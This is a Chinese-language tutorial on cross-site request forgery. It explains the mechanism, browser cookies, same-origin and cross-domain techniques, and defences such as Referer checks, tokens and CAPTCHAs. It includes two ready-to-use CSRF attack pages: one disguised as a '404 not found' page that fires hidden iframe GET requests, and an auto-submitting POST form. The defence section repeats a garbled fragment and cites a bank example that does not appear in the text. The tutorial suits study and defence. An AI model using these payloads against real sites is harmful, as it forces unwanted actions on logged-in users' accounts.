0x00 前言
跨站请求伪造(英语:Cross-site request forgery),也被称为one-click attack或者session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
0x01 CSRF攻击原理
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A
- 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A
- 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B
- 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A
- 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行
0x02 CSRF攻击场景
GET请求
参考攻击页面
<html>
<head>
<title>
404 not found!
</title>
</head>
<body>
<h1>404</h1>
<h2>not found!</h2>
<a href="http://www.xxser.com">单击返回</a>
<iframe src="http://www.xxser.com/listen?listenid=1" frameborder="0" width="0px"/>
<iframe src="http://www.xxser.com/publish.php?id=1" frameborder="0" width="0px"/>
</body>
</html>
POST请求
参考攻击页面
//构造form表单,利用JavaScript自动提交
<html>
<head>
<title>
post data
</title>
</head>
<body>
<form id="myfrom" method="post" action="http://xxser.com/publish">
<input type="hidden" name="listenid" value="1">
</form>
<script>
var myfrom = document.getElementById("myfrom");
myfrom.submit();
</script>
</body>
</html>
0x03 浏览器Cookie机制
Cookie有两种表现形式:一种是本地Cookie,又称为持久型Cookie;另一种是临时Cookie,又称为Session Cookie。
-
持久型Cookie
服务器端脚本语言向客户端发送Cookie时制定了时效,也就是Expire字段,并且会存储在本地,当Expire制定的时效过期后,Cookie将失效。
-
Session Cookie
没有制定Expire时效,存储在浏览器内存种,当浏览器关闭后,Session Cookie失效。
0x04 跨域问题
源
如果两个页面(接口)的协议,端口或者域名都相同,那么两个页面就有相同的源。
同源策略
同源策略是浏览器的一个安全限制,从一个源加载的文档或者脚本默认不能访问另一个源的资源。例如a.com/111/html页面不能访问b.com/person这种接口,因为他们是不同的源。
跨域威胁
-
JSONP跨域
利用
<script>
标签没有跨域限制的漏洞,网页可以从其他来源域动态获取json数据,jsonp跨域请求一定需要对方的服务器支持才可以。 -
CORS跨域
CORS(Cross Origin Resource Sharing),跨域资源共享,为了弥补JSONP等跨域常见技术的缺陷,而提出的安全方便的跨域方案。它允许浏览器想跨域服务器,发出XMLHttpRequest请求,从而克服AJAX只能同源使用的限制。
-
PostMessage跨域
PostMeaage是H5新引入的实现跨域窗口之间的通讯,可以安全地实现windows对象之间的跨域通信
参考链接:https://www.freebuf.com/articles/web/208672.html
0x05 防御CSRF
-
验证 HTTP Referer 字段
HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer字段应和请求的地址位于同一域名下。以上文银行操作为例,Referer字段地址通常应该是转账按钮所在的网页地址,应该也位于www.examplebank.com之下。而如果是CSRF攻击传来的请求,Referer字段会是包含恶意网址的地址,不会位于www.examplebank.com之下,这时候服务器就能识别出恶意的访问。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的Referer字段。虽然http协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。
-
在请求地址中添加 token 并验证
由于CSRF的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在cookie中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再运行CSRF攻击。这种数据通常是窗体中的一个数据项。服务器将其生成并附加在窗体中,其内容是一个伪随机数。当客户端通过窗体提交请求时,这个伪随机数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪随机数,而通过CSRF传来的欺骗性攻击中,攻击者无从事先得知这个伪随机数的值,服务端就会因为校验token的值为空或者错误,拒绝这个可疑请求。
-
使用验证码
问时,客户端浏览器能够正确得到并传回这个伪随机数,而通过CSRF传来的欺骗性攻击中,攻击者无从事先得知这个伪随机数的值,服务端就会因为校验token的值为空或者错误,拒绝这个可疑请求。
-
使用验证码
因为CSRF是在用户不知情的情况下伪装成用户发送请求的。因此在用户发送请求之后设置需使用验证码验证,验证通过才请求成功,这样用户在不小心点开恶意链接遭到CSRF攻击后便会弹出验证码端口,使用户察觉。(**不过使用验证码影响用户体验,因此一般不被考虑。**我们经常看见的验证码是为了防御DDOS而设置的)